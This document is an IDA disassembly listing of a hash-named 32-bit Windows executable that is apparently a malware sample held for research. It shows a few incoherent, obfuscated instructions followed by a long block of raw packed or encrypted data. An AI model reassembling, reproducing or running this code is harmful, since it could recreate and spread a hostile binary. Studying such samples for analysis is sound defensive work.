;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 1FA222A7D334828D2E3C0E504BDDDCA7
; ---------------------------------------------------------------------------
; File Name : u:\work\1fa222a7d334828d2e3c0e504bdddca7_orig.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00007000 ( 28672.)
; Section size in file : 00003200 ( 12800.)
; Offset to raw data for section: 00000400
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
mov eax, ds:4070C01Ch
sbb eax, 43FD4769h
add eax, [eax]
add eax, 0E0279EC3h
mov ds:0E8C110A0h, eax
push cs
adc ds:11C7FFFh, ah
retn
; ---------------------------------------------------------------------------
dw 448Bh
dd 12570424h, 90EC81A0h, 8D22CD01h, 6850C020h, 0FF1583F3h
dd 14510415h, 16C4812Eh
db 0, 0C3h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push esi
push edi
push dword ptr [edx]
jnz short near ptr loc_40104D+2
sub dh, [eax]
movsx ecx, al
loc_40104D: ; CODE XREF: .text:00401045j
mov [ebp+eax*2-3Ah], edi
or al, 55h
or cl, [eax]
and [ebp+0Bh], dh
push cs
cld
test ecx, ecx
mov eax, 27D4F18h
cmp eax, 0FFB3C803h
or eax, 27D2B2F8h ; CODE XREF: .text:0040108Ej
rol ah, 1
test byte ptr [eax-10h], 6Ah
add [ebx+587F0DF9h], eax
jnz short near ptr loc_401084+1
xor al, 0D1h
inc ecx
mov esp, 3B3D0330h
lock jz short loc_4010BB
loc_401084: ; CODE XREF: .text:00401077j
cmp ah, [edx+ecx]
popf
xor al, [ecx-7C9753A5h]
jnz short near ptr loc_401066+1
sar bh, 1
movd dword ptr [edi], mm4
mov dword ptr [edx], 242C7C20h
rol byte ptr [eax+edi*2-395705F8h], 11h
jz short loc_4010B5
and [ebp-57h], dl
and dl, [ecx+278FE20h]
add dh, [edx]
rcr byte ptr [edi+5Eh], 5Dh
xchg eax, edx
loc_4010B5: ; CODE XREF: .text:004010A3j
lea ecx, [eax]
lodsd
jo short near ptr loc_4010CB+3
push ebx
loc_4010BB: ; CODE XREF: .text:00401081j
xchg eax, esp
adc al, 8Dh
test [ecx+4C680267h], ebp
aas
push eax
mov eax, ds:85102C9Dh
loc_4010CB: ; CODE XREF: .text:004010B8j
sal byte ptr [ebp+52h], 42h
push ss
and edi, fs:[eax]
inc eax
mov edi, eax
xor esi, esi
cmp ebx, [esi]
; ---------------------------------------------------------------------------
dw 74FEh
dd 0C47032Dh, 26BB3039h, 0FF0604F8h, 4234BDEFh, 0E853D806h
dd 84F27205h, 7559C00Ch, 39833F15h, 3C9804C6h, 0EBDCD006h
dd 5D07037Eh, 74DB8508h, 5A35377h, 436A8368h, 1810FB54h
dd 5B804050h, 3981C952h, 0FC103383h, 458DA16Ah, 0C0F2DF46h
dd 839B128Bh, 66330CC4h, 81021EC7h, 3E23BD68h, 6FC91C22h
dd 0F22A0666h, 0D0013141h, 0FB6AF410h, 0C7F86021h, 8106B410h
dd 0D9535B1Ch, 205A9102h, 83F08B06h, 45062FEh, 1D50EBE4h
dd 50321057h, 23243056h, 4CC5F883h, 281DDBFAh, 0A4C38A88h
dd 8BF98082h, 0C243A7Ch, 238FFFA4h, 9740939h, 17756E00h
dd 0E2A03F80h, 0F8AC5719h, 7D909A3h, 0CF0CDD8Bh, 0D4304022h
dd 507E0686h, 0F4C3BFC6h, 0EFC44905h, 0A802BC41h, 2BD99310h
dd 54250AAh, 1A57533Fh, 770D308Ch, 2920BB29h, 0FB03A910h
dd 3A203D8Bh, 2366591Fh, 0D7193814h, 536F0CBBh, 0F1281A56h
dd 1C6123B2h, 5E5B5F21h, 3C119A26h, 33570903h, 0CC1E1BDBh
dd 0FE841D8Ah, 53247A03h, 1A96DA1Ch, 641EF84Ch, 1A82075Ch
dd 35A40E9h, 101D9374h, 840FB057h, 0DFE9289h, 0FD13E856h
dd 1CC9054Ah, 15FED0FBh, 24E4C868h, 12C8B350h, 14385948h
dd 9D0D56CDh, 303536F0h, 0C4268460h, 0F06728FCh, 26CA0D4Ah
dd 0FB908321h, 411C24h, 8D532476h, 17A23584h, 11728D08h
dd 29274218h, 0CC242646h, 0DC725903h, 0D433DD68h, 0B389042Ch
dd 8A575E01h, 2A5F26A8h, 440911CAh, 1AAB9A07h, 0CC70594h
dd 0FE509664h, 68C409C9h, 804D2828h, 339924EAh, 0C095C9FEh
dd 8A0FA2FDh, 88EC0D54h, 20708032h, 0D8404138h, 7C28032Eh
dd 10606AEEh, 4FF4C34h, 4063E468h, 681343CCh, 0C387837Bh
dd 3AC6E0D1h, 67E6FC52h, 0ED6A7C0Eh, 0C3163ECDh, 96A0545h
dd 25643B68h, 0CFB25032h, 437B451Ah, 4284036h, 0D01FE01Ah
dd 0FEDB88E0h, 52879E24h, 3CA6224Fh, 48090436h, 0CEFF4144h
dd 652C7925h, 6ECBAA2Ch, 3BD8126Ah, 0C48E08DFh, 11349A4h
dd 0D989D76Ch, 14AB3246h, 0B241DCDh, 64C82ECh, 0EE130392h
dd 5404438Bh, 0A9D75708h, 0C9F01A0Ch, 3496F4C2h, 36EC18CBh
dd 6B740908h, 84121D8Bh, 4894C85h, 0D161CC4Ch, 40D3FFC9h
dd 0BF575219h, 0BFBA06F8h, 1ABC8537h, 8B6698EFh, 0ED144535h
dd 0A8E734D6h, 62582BA0h, 2D22C5B3h, 296A252Bh, 254829B4h
dd 630442DEh, 33F5EF1Ch, 0AF418960h, 0CC461F29h, 5F1FECB5h
dd 660F4B8h, 20680C25h, 0ABD3936Ah, 46100EC1h, 0E3CD4F2Fh
dd 50042657h, 30B95805h, 0A8C4B842h, 1682D7B2h, 0EC3CA1BBh
dd 0ECEB8150h, 8C16CEEFh, 9B44CF3h, 0ED0724A9h, 92B4478Ch
dd 0A224952h, 0B410153Ch, 6C31ECF2h, 59B4211Eh, 0B4230F6Bh
dd 897C30CFh, 92224A3Fh, 83FA0A28h, 0D269489Ch, 358EDE67h
dd 42163A99h, 92D96A04h, 60AB04D1h, 8B0A2611h, 0B9E00C5Dh
dd 7401FB86h, 2750A65h, 0D0686009h, 0DCB71007h, 90DB83F0h
dd 861D145Dh, 556134BEh, 0C98B7056h, 0B328F17Ch, 19EC5187h
dd 360A8CFEh, 7FF85298h, 3CDB6BC1h, 6810DC8Bh, 85355492h
dd 2E903188h, 28BFCE07h, 20600DACh, 5752D348h, 6A57D861h
dd 2C2ECE04h, 42FB76F0h, 46925333h, 3C217934h, 82E68DBh
dd 6809DE60h, 13A92834h, 53126451h, 40578194h, 0DE701039h
dd 321695B4h, 9422B7CEh, 9688920Dh, 0CF3B0FD1h, 0A546EC7Ch
dd 90E12744h, 0BE82450Eh, 0AE901C52h, 7FC5763Ch, 0AB65316Ah
dd 9714B491h, 0A00F6604h, 29E1187Bh, 7D89E01Ch, 215FB0FCh
dd 0DCC40275h, 23657329h, 33E084DEh, 0E467A4DBh, 0DC1A3287h
dd 2EC64D53h, 443E988Fh, 66B15318h, 0A9D642CCh, 5311111Dh
dd 226A66BBh, 0B92D3ACh, 6A193DB7h, 0FC291ED7h, 90E09531h
dd 0A02D6A2Bh, 6ED75918h, 0B72962E4h, 24652617h, 0C0830684h
dd 36FF2C04h, 2EA577F0h, 0B9578914h, 48C468C9h, 1454A764h
dd 0A0BC7D63h, 29B45384h, 135C3AC8h, 0D0C7D83h, 200D63A3h
dd 6A315DA4h, 0E0F8367Ch, 65DC0B04h, 0B2937116h, 0B107D008h
dd 32E17418h, 63369286h, 0E9443222h, 2EBAD83Bh, 81246984h
dd 14EDEFE1h, 865D4924h, 0A1490CD0h, 0B63E0A14h, 2977F056h
dd 425D666Ch, 5A22B7ECh, 76A4181Bh, 706A0985h, 0B4420BB3h
dd 0C880C42Bh, 310A5E44h, 3D0A9784h, 1188D368h, 4C10A248h
dd 923CE267h, 0FC81236Dh, 52665210h, 8B3B74C4h, 0FDC8628h
dd 85708484h, 394B3F27h, 0E72BACECh, 33E402CBh, 0A0EC5BC0h
dd 98567977h, 0C9889475h, 78031190h, 1765967h, 92607542h
dd 0B8A48914h, 1CEB1641h, 0CFC08559h, 37F60C74h, 107E2670h
dd 232DEB29h, 1A84490h, 4CEBF08Eh, 0C43F90Ah, 0C5490843h
dd 67F80941h, 845E5359h, 0C25D248h, 85939B2Bh, 1027145Ah
dd 94101A8Ch, 50C94EA6h, 12E1AF4Ch, 94C8D15Dh, 3D1A3E24h
dd 3D702F9Dh, 83120E98h, 1E05E44Dh, 0D21C5024h, 88F65FAh
dd 89971D4Dh, 682083DDh, 0F0954EBh, 428B5891h, 0BCF05E2Bh
dd 535B08A0h, 0CC122D16h, 3154744h, 0C69F1817h, 52BAD035h
dd 646F3D9Eh, 49345118h, 46015313h, 6C087D8Bh, 8470945Eh
dd 680EFB1Ch, 882C0409h, 46B11532h, 5A48005h, 14891412h
dd 937C1E08h, 81AC50Ah, 4253D45Dh, 48490DAEh, 31670E14h
dd 465E74C8h, 0E4639FD8h, 0C5026D6Ch, 663966C1h, 45503720h
dd 1801DEBBh, 68A1660Bh, 8D4C53ACh, 0B068DFCh, 6B17121Ah
dd 0D88B8143h, 2FE0FD33h, 4D8F730h, 5D0E5B7Dh, 5986401Ch
dd 0C8BD4489h, 0A7521C4h, 0BDF14528h, 0F427F1Eh, 801ECC9h
dd 475F066Ah, 49157E4Eh, 42594719h, 9812D306h, 7909B47Ch
dd 0E82806D4h, 12A06036h, 8E7C1D0h, 3CC0CC7h, 0C802ECF4h
dd 26715C68h, 0DC2218E5h, 1CFB34E0h, 54478E2Dh, 0E81B27CBh
dd 35E45029h, 9966B2CFh, 12B80DDh, 3781A3D0h, 6E58DB5Ah
dd 7E205C11h, 0FCDBE1BCh, 5B465709h, 12AA86B9h, 5D25DA73h
dd 0D88D30DCh, 0F9FB4183h, 419A03F4h, 72203C7Dh, 59C6BC53h
dd 31CCF209h, 0A07FEB2Ah, 0A4FCF748h, 38159145h, 9B14D150h
dd 341E22DDh, 0A1B663DBh, 8C965474h, 4CCECDFEh, 1D338B87h
dd 8E593930h, 49FCD22Dh, 0ADEBF8A1h, 801B71CFh, 7786F365h
dd 0F42B2FD9h, 2071CE44h, 4BADDEEBh, 0E238A29Ah, 59690B02h
dd 0A9A2CC47h, 411ADC0Dh, 0EBF7240Dh, 0C8423649h, 4B74D94Ch
dd 3A1829C2h, 8347A17Ah, 0FC0F07Dh, 1A1B5E8Fh, 20CD8F8Ch
dd 0A004C20Bh, 8247419h, 0F2B9857h, 203C068Ah, 901FA5Fh
dd 0EB460375h, 434B68F3h, 60FB28DBh, 0E1C0D60h, 74BF048Dh
dd 417C0146h, 8BE5EBD0h, 0A576A6C7h, 335614C0h, 0BE5774F6h
dd 5F08F812h, 475EB2C8h, 0B203D568h, 3DA3B556h, 7519573Dh
dd 6D0828F0h, 6A0E8240h, 0CBE4905h, 239F9022h, 3956B78Eh
dd 8D101017h, 0F4EDFC4Dh, 59206850h, 2628D91Bh, 6A02EE3Ch
dd 2CF0EC19h, 8EFDAEBh, 5596045Ch, 15FCE458h, 8C504C48h
dd 9DA044C8h, 0A4388895h, 0E089283Fh, 0FC241C64h, 0C4C63B44h
dd 0E03973F9h, 99343D2Fh, 0B545981h, 0E8CC47ADh, 8961C406h
dd 0EE3B1022h, 0E840712Eh, 0F886BF39h, 2BC4047Dh, 0E7C83D8Bh
dd 0DBA495BEh, 0E8F8C8BBh, 721E324Bh, 59991F00h, 1983F9F7h
dd 0A07E0FFAh, 8104F22h, 0BF12E823h, 1ECE8B19h, 4A07ED52h
dd 0EFFC100Bh, 0F71AEBA1h, 0B50D77E5h, 8C0B77E4h, 550518E6h
dd 0D2E82CEBh, 85C71D28h
dd 0BBCA9BDh, 122DB144h, 2A5828C6h, 6E85D759h, 16C99217h
dd 0E808D61Dh, 1F164A0Bh, 14CFE4F3h, 564C1D4Fh, 0B03C4EC4h
dd 1FC94002h, 81F5BE6Ch, 65378412h, 1F1B1819h, 0B29EB20h
dd 2D270F78h, 143343A1h, 7A8B4024h, 0C40FE468h, 5171199Ah
dd 0A95420C8h, 519945Ch, 0EB092325h, 4F499332h, 0E90EE76h
dd 78FD640Ah, 7F29488Bh, 0E2BC9E94h, 40961123h, 1204C7B2h
dd 626BEC24h, 0C2C50E6h, 0B73D884Ch, 668A497h, 48EB58C8h
dd 3C2C81CFh, 18FC6536h, 0C0684CEAh, 0D72D1E54h, 0DB80BB2Ch
dd 1404F865h, 82671F4Bh, 0D661EE75h, 895915Bh, 4723384Bh
dd 205A8178h, 0E57ED106h, 0D9E46E56h, 0BDE988AAh, 0F43A54ECh
dd 22C24A8Bh, 56222442h, 971544BEh, 0F7DCCD02h, 123CB70Fh
dd 10FB51DCh, 0B55C1C90h, 801DFEA3h, 1BDB99BCh, 1363205Ch
dd 681217A4h, 44296C50h, 8D301D61h, 30148AC8h, 7D8028C6h
dd 7430C5CCh, 50142516h, 0B5996B50h, 0BEE35858h, 4402051h
dd 80E0F0A7h, 6F8D21B2h, 0EE9599Dh, 52B882A6h, 0FE224B5Eh
dd 0B8077B04h, 1431F852h, 0A801BF87h, 6DCE6683h, 868860Ah
dd 210C8C23h, 0E1696BFCh, 40385F0Eh, 0F01CC29h, 0CCE548Bh
dd 4804C8Eh, 4774D285h, 8A2E7790h, 0CDBF2244h, 720403D1h
dd 0B8D9F72Dh, 0FE7403E1h, 88D1002Bh, 75494707h, 0C81F8BFAh
dd 35DE0C1h, 10440728h, 0E28330CAh, 7402E90Ch, 0ABF3061Bh
dd 4549B677h, 5F7F934Ah, 5F46D5B2h, 0F75CA077h, 0D0034EC1h
dd 18A1450h, 0C084411Dh, 830F40D4h, 5805F175h, 1074B0Dh
dd 10FEFFBAh, 83D0037Eh, 333A34B0h, 4C189C2h, 20AE8EA9h
dd 8BE87481h, 59FC6741h, 86E44532h, 0E683241Eh, 0F137C36h
dd 0F02FC10h, 418DCDEBh, 2B0C56F4h, 0FE14C3C1h, 0B2FD9085h
dd 801A3AFCh, 0A157E5A5h, 4DE40112h, 7DFC3810h, 3D1B9A0h
dd 0FE3BC60Fh, 0F8025D76h, 4878820Fh, 0A6C7F72Eh, 0CC14558Dh
dd 0F930D217h, 3297208h, 24FFA5F3h, 0D19DC895h, 41BAC7E7h
dd 20E9831Dh, 0E0EA0C0Eh, 9DC8F1F7h, 23D08530h, 0D88D0E63h
dd 11903F32h, 9BF0115Ch, 0DE131C29h, 49D1F609h, 3A740D8Ah
dd 47B90146h, 0AF020CE6h, 0C6B412D9h, 5DA4C702h, 528D2CCCh
dd 26912C49h, 1EB48376h, 0B2A61061h, 46249190h, 1A474594h
dd 0C6408C29h, 0AC640FBFh, 9C48A409h, 8C229491h, 8A7C8444h
dd 0E48E8982h, 0D38FE0E1h, 0E9E81122h, 912EEC12h, 12E9F022h
dd 22912EF4h, 0FC12E9F8h, 48D872Eh, 39B1029h, 91F8E4F0h
dd 0F1144F0Ah, 0EC09E08Ch, 425838Bh, 5E084525h, 9046C25Fh
dd 0C1C9E92h, 1286FA8Ch, 0EB6A48Ah, 2C300BAAh, 3163748Dh
dd 0A4397CD0h, 8724809Ch, 0E4FD0D0Ah, 60F1FC18h, 86908426h
dd 0EE1066A9h, 9094F09Ah, 2B21F946h, 62256808h, 78262660h
dd 9986419h, 3DC59C0h, 0E0BA3B21h, 4FB34EB2h, 3DB65784h
dd 0A92098A3h, 6EEC6A4h, 0CA7EEF48h, 90592A8Ch, 4B6A284Bh
dd 42EE71ACh, 0AF92EFACh, 385A4641h, 8C5C466Ch, 0C81C0F14h
dd 2C912409h, 3C443422h, 15578944h, 0BA1C6848h, 5D181164h
dd 0D2144522h, 225D1024h, 24D20C45h, 45225D08h, 984FD204h
dd 7019202Bh, 991780Dh, 0A59C2288h, 8AB8A08Ch, 8A889EB6h
dd 8784BC10h, 65B82B14h, 510128CCh, 0AABE3D70h, 52148D16h
dd 81141218h, 0CD26F980h, 8511A12Dh, 7318A2EAh, 8B8540ECh
dd 1D1ADDC4h, 5CA6A8E1h, 0C32C9040h, 42004BF0h, 118A5653h
dd 102202B5h, 691AE184h, 0EE0171E8h, 0FE4FEEF6h, 1235D6F7h
dd 38CA0702h, 9215D5D0h, 19620BDAh, 10A0B04h, 5B5EF575h
dd 0C328F228h, 0FF07D11h, 0FF7E8DEBh, 93026145h, 224D28F8h
dd 0E0380712h, 4193C475h, 18653B03h, 1BFF6697h, 0DFD02320h
dd 60D8B1EBh, 0A8C28A6Bh, 1A811A91h, 1BFF478Dh, 0A7C777C1h
dd 20B0180Dh, 6F3B153h, 4E086A57h, 7D8D590Bh, 4CA38FE0h
dd 5165A07h, 0B60F01B3h, 2302C1CAh, 3E8CCCFh, 8DE3D205h
dd 0D0C10544h, 0A3404618h, 798BE575h, 1A07B755h, 0CC157206h
dd 8A1AE9D0h, 60516A02h, 0C25BCE1Ch, 0C1E3D352h, 4C8AE840h
dd 84E03502h, 0AF0774D9h, 0EB428783h, 65DA8BB3h, 5B1E1744h
dd 4A0A5624h, 26E0D358h, 22750ACFh, 1D22800Eh, 5FC38B80h
dd 55EC22Bh, 0C01BD8F7h, 23564289h, 574C5BC3h, 83A20B5h
dd 0B08D6AEBh, 0ACFEB1B4h, 0A65764CAh, 100F2321h, 1CDEA53Bh
dd 1A9123C8h, 79710E88h, 3D0DABFFh, 820FE0Ah, 341FD7Fh
dd 0A60C0D74h, 96194860h, 293C06Ah, 47178864h, 0EBEE6398h
dd 0DC89053Eh, 68042A75h, 0DE6ADED0h, 0CC6C1155h, 923461E1h
dd 0F72715C0h, 12346AC2h, 0C76B3310h, 0CAEF725Ch, 0C6440966h
dd 0D0A44C7h, 0A68812ECh, 3D830A08h, 1FF6E7Ch, 68117E01h
dd 398DD607h, 0E852828h, 3259371Bh, 0DD027C9h, 1EA59670h
dd 418BFC66h, 0E97B0725h, 4D826A13h, 0A8A60E51h, 64370A35h
dd 0FD0FDBA1h, 82589CAh, 5840D828h, 0B65F857h, 0D415FFE8h
dd 8AD2F648h, 0F4D2F7EFh, 0C88B5D48h, 2FE1812Dh, 0F00DC6A8h
dd 19C17C1Dh, 16CA0308h, 39E808ECh, 11E2A310h, 3A56F633h
dd 0E06D2489h, 31087596h, 1A191C6Ah, 0ED89F144h, 22138CFCh
dd 88D09CC2h, 78FFF8A3h, 9021874Eh, 0A70EAAFh, 0B431F8Ch
dd 1B8A441Eh, 0D058AC60h, 9CA4458Dh, 40CC11B0h, 897F3217h
dd 81F69C39h, 67401D0h, 0D4E9B70Fh, 0A4B062Ah, 75273C58h
dd 0C8CFA59Ch, 102812A6h, 62F2B69Eh, 57C1D91Bh, 92064ECh
dd 984D8914h, 1C2362DBh, 23FF92AEh, 0F29875C8h, 24F7AACBh
dd 0BF70D808h, 26390531h, 424247Bh, 0F4B4CA8Bh, 60A04C57h
dd 724A6C5Fh, 537625C3h, 0D8342659h, 8D6188EDh, 5B78427Ch
dd 34BE5E9Bh, 0D4B30E64h, 0D88B5309h, 0EC58BEC2h, 23C021F5h
dd 8A13020Bh, 6038420Ah, 7B84D1D5h, 135152C9h, 0BED7504h
dd 0C39DC0D8h, 1037E3C1h, 0A821256h, 0FD1266BFh, 5D33B760h
dd 0F90470CBh, 0C8FFF183h, 0C6FCCF1Bh, 448C2F4h, 821C486Eh
dd 66251C75h, 7D35123h, 0D3089803h, 808D2CE6h, 16412CAEh
dd 8BCE405Bh, 0D838FC42h, 0A8367426h, 0DC13EF9Eh, 0AC493F12h
dd 268E2DE7h, 0DC32FD33h, 392A0627h, 335C961Ah, 40FEABB2h
dd 8CFD0770h, 565AFC42h, 99925F63h, 79F9CC48h, 0C7713A1h
dd 73123065h, 52EB3004h, 67A8F685h, 94C10F40h, 0D1B60386h
dd 1F844F6h, 0BB05E80h, 0FE7065E8h, 0FC4D881Ch, 6AFD45C4h
dd 7709A5C3h, 0EBDF831Ch, 4D8D8060h, 3F580A5Ah, 95505104h
dd 45E4F593h, 68BC0728h, 85027585h, 0AC7479Ch, 120C3623h
dd 0DEF4A13Fh, 402BD88h, 1068D0FFh, 889D260h, 1C633CD4h
dd 8E04FA94h, 76A6100Fh, 50C31028h, 120C8BA9h, 3CB4DE1Bh
dd 8D011150h, 5FF200ADh, 63243D39h, 11756A71h, 940B335Fh
dd 44B9E6E0h, 89BD83DCh, 76C07046h, 89140C5Ch, 8847203Dh
dd 291C1D28h, 0F0A13C15h, 0F0228A84h, 5615EC18h, 0FC71038Dh
dd 1372F03Bh, 98B006F2h, 47FEE83h, 73233550h, 685EED0Ah
dd 14449518h, 0F1292129h, 0A8114720h, 14DB8570h, 7B10755Bh
dd 0A4878929h, 9989C92Bh, 3B150E51h, 0D7315ABh, 4C6C158h
dd 232AEDEBh, 75EA53F3h, 1D25A8C4h, 44B8C4EFh, 58258B20h
dd 1597C908h, 0FB831781h, 0D40C7505h, 2BB70860h, 1D818361h
dd 0CB2279ECh, 0CF90F634h, 0C5D2280Dh, 6A1CE712h, 0CAA0CDDh
dd 44E48F2h, 0C8852545h
dd 6F181E5Ch, 0C0041525h, 56D1030Dh, 7D7BCA3Bh, 49348D0Fh
dd 0B50A582Bh, 3024BA90h, 0C6062683h, 752D4A0Ch, 358AE1F7h
dd 3D4919E3h, 8AC0688Eh, 0D05C7D4h, 0EB838318h, 903D2970h
dd 20816413h, 87913D5Dh, 4A828490h, 421E933Dh, 3D370885h
dd 882798Dh, 8F3D2124h, 112086E4h, 4684923Dh, 538A220Ah
dd 6A2D89FFh, 2FC294E2h, 5EE70B2Eh, 46FBDAEBh, 9B922551h
dd 4EE4A352h, 223A9B89h, 5B22E4D8h, 54FC615Dh, 830DA72h
dd 8815395Fh, 0B856DAA8h, 497406A1h, 0C8EC17EEh, 3B0CC040h
dd 47301C6h, 0F5751039h, 5E49E88Dh, 16A808DDh, 13C13B28h
dd 3F6A8AA2h, 7FA2EE62h, 0EEC6AE5Eh, 0E9562D26h, 58499FACh
dd 4E2277B9h, 0B4AA1C25h, 1148CC10h, 72EBF898h, 0CB293A62h
dd 46E6BE90h, 80E319EBh, 810D443Eh, 203C0A10h, 76FF0676h
dd 0FA77361Ah, 461536Ah, 0C68BE921h, 653DC20h, 1D39DB33h
dd 562999E8h, 0B6B55C57h, 402EF089h, 74C33A16h, 3D743C12h
dd 56470116h, 0A44CA3F6h, 0ECEB7B7Ch, 0B7BD7204h, 0A12DB830h
dd 59F08B04h, 0A81F33Bh, 0C2057104h, 1F110949h, 0A13D0820h
dd 74E43842h, 57552A39h, 0C8B763Ah, 3F804559h, 55542294h
dd 0C3483B35h, 2F06293Dh, 36FF5741h, 994C273Ah, 3A66FAFh
dd 751270FDh, 68175DC9h, 722D7561h, 0C1D5894h, 5F1E1276h
dd 0E4880A5Eh, 0FD019AAAh, 4BE30CCCh, 2CBE85BEh, 991B8B53h
dd 5453DA49h, 89A164B6h, 14A3022Ah, 38FE8B20h, 0EC4E9018h
dd 2F8995F8h, 0C653F499h, 0DC1FA090h, 0B208B69h, 88E641A1h
dd 0C44AD54Ah, 0A2D71148h, 308C8C72h, 864B50D9h, 365956EDh
dd 14501BFBh, 50BDB648h, 0A31A9D9Fh, 787E0FF8h, 0C0189A6Ch
dd 5653143Ah, 0E6D32183h, 0E9576B0Fh, 0B655887Dh, 85212569h
dd 78C27984h, 0EB627037h, 38802A89h, 8A449C00h, 40790150h
dd 27BFFA48h, 25590429h, 0F652BF87h, 3EF54382h, 3E4C0490h
dd 2485011Fh, 108A0071h, 40461688h, 0CD50CA9h, 0DCE54EBh
dd 1E805804h, 1541A37Ch, 1243EB3Ah, 0CC1F052Ah, 0DA8A400Ah
dd 308D83FCh, 1E881834h, 20CD4667h, 375D09B4h, 0CC757212h
dd 4803840Eh, 4B44BCC4h, 81C1FF66h, 70C31865h, 2288B79Eh
dd 0A8AB4A8h, 1928052Ch, 52F1BE03h, 0BD28C818h, 7E558BD0h
dd 0A2027A14h, 8CD812D1h, 25C4686h, 43400475h, 9390F7EBh
dd 0C326F62Ch, 42249701h, 17D3909h, 78800D6Eh, 0A38D22F0h
dd 8B3C06E4h, 7003EBC2h, 130D0849h, 1901D233h, 0C2940F18h
dd 0D10C02FBh, 4BD38BEBh, 0E0A3056h, 0C6408943h, 0A0465C06h
dd 2D754BB2h, 2AA38AF3h, 804A834Ah, 8B086DE1h, 3AAB8B3Fh
dd 7B68204Ch, 19532E65h, 9306E33Ch, 121C2B20h, 3413C0Fh
dd 0D5042DDBh, 0C82091D1h, 209A3122h, 42960F05h, 278303C8h
dd 7F148F49h, 4CFC1010h, 0C4A48A1h, 6A7230A1h, 13BC9053h
dd 2450B82Dh, 94D21C4Eh, 0A948C1F6h, 0D50A7532h, 0C410F62h
dd 0A4177574h, 0EBC27C44h, 0BC596128h, 3B488114h, 0EA1820FBh
dd 21C118Ah, 2227BF16h, 0C102E26Dh, 921481E1h, 40930C44h
dd 16C25022h, 101E3966h, 4038EC74h, 751812E1h, 0F20748F9h
dd 30C62B2Ch, 0D19FC018h, 0ED8F98F8h, 345E06A4h, 0B84E808h
dd 0D7FF34h, 74EB3B36h, 0CD33B132h, 230B602Ah, 5C553AC9h
dd 4DEDBDFAh, 25AA2844h, 26187B0Eh, 145C4628h, 0C1098B69h
dd 0B117C473h, 4053EBC3h, 4C75028Ah, 8608A6A2h, 3C7470B2h
dd 0C7F061B0h, 0DFFD0AECh, 5A0F87Dh, 0F3FD2BF6h, 9CED663h
dd 1A0B870Bh, 0FCAB88CFh, 0BB6CEB1Fh, 0A4F65616h, 0EED8E54Ah
dd 0EBC63E82h, 84578AEAh, 7EF45BF2h, 92444FECh, 12446879h
dd 664A0AB1h, 1B913326h, 0E0160493h, 76191474h, 88207540h
dd 2AA0868Dh, 7326F03Bh, 4106E1Ah, 0AC6B740h, 0A10A0546h
dd 7A7A3E24h, 0EB1CA008h, 0E28D55E2h, 6689533Dh, 34420AC1h
dd 0D08AC576h, 0EA46E518h, 16B94218h, 0DD0E8D30h, 4B080AB8h
dd 2E1C063Dh, 28EE027Ch, 0D643539h, 0E4BF527Dh, 5D900E9Bh
dd 83381501h, 7898180h, 7F54888Dh, 80181A80h, 8FFC860h
dd 8B1E4010h, 8AC05E0Fh, 937DC181h, 4AD650E4h, 0D2BB7C87h
dd 0AAB8B06h, 0F61F4558h, 313467Eh, 3836AAF4h, 267D4D8Ah
dd 307F01C1h, 0B75080Ah, 16A0A6A9h, 0D17448C8h, 0CF01C739h
dd 8305F8C1h, 45620E1h, 58D08552h, 0CC83D22h, 6108890Bh
dd 0E487B88h, 0C3834547h, 7CFE3BA1h, 185131BAh, 0D80E3CEDh
dd 81348DFFh, 0DB854D75h, 5C040120h, 6A05B581h, 5EB58F6h
dd 0F548C389h, 0F58E031Ah, 5AA4B33Ah, 2B745098h, 8B675717h
dd 0D064250Ch, 82D13E48h, 0C24E8006h, 3DEB436Bh, 0AA20316h
dd 0BCFD087Bh, 8343800Dh, 9B7C03FBh, 0C8B9A6FFh, 0AAA9A86Eh
dd 4424BE28h, 6A1CB4C3h, 0F4823916h, 0A6A15468h, 0C9653F77h
dd 0A3564298h, 865A74C8h, 0D62E2FA9h, 3F0F7503h, 2242C87Ah
dd 0C36AC99Ch, 0E8A4CEC3h, 65C79630h, 68D9E869h, 323469C8h
dd 3D1609C6h, 3B445DA3h, 0F212E58Bh, 0A04139D0h, 5FB8E006h
dd 0B5B52501h, 5F228E8h, 0B8028910h, 0DAC348B4h, 0DA80277Fh
dd 0D068FE6Ah, 0CE6483CDh, 665E2DB8h, 204F35C4h, 70C94B1Dh
dd 93F3760Ch, 1E80C72Eh, 220028C9h, 0B30C8B76h, 6B4896Bh
dd 7A30486Eh, 27B2907Ch, 5511275h, 7ECA5C37h, 0FF812503h
dd 0EB120454h, 0EC8F64C3h, 0A3519233h, 64E8448Dh, 100D8B28h
dd 4798114h, 0E752C69h, 0A70E5117h, 0D2396E52h, 9C05B20Ah
dd 933D8B68h, 86851CBBh, 0C6097210h, 65C44D8Bh, 0C043064Bh
dd 590C6BD1h, 0BAC45B5Ah, 0A356F00Fh, 0A7583032h, 38B2923Eh
dd 1EFB0829h, 8E5D9AFCh, 40F7E9C0h, 0DA98E5A6h, 196E8245h
dd 7A10260Bh, 7E9D7E27h, 14734490h, 87C2087Bh, 76A58D61h
dd 3D8FB208h, 5556450Fh, 18106B85h, 5E5D18A9h, 10B85C9h
dd 3C7833C5h, 71E84DADh, 0B4A1AB24h, 563D9504h, 6AED200Dh
dd 20706F08h, 488F46DFh, 0ACCD794Bh, 0D2FF790Ch, 0CF1B8E7Bh
dd 0A1EB4234h, 0BADC93B8h, 0F2CA9B1Ch, 6A5D8215h, 5D40B9FFh
dd 95281755h, 762F9755h, 4163292Fh, 83A501Ch, 44255718h
dd 36BEA1E2h, 7489A2ACh, 2AF3270Dh, 6C643D91h, 210E457Dh
dd 3016FC68h, 0A1B42639h, 2DCC345Dh, 9DF1B359h, 0FC591662h
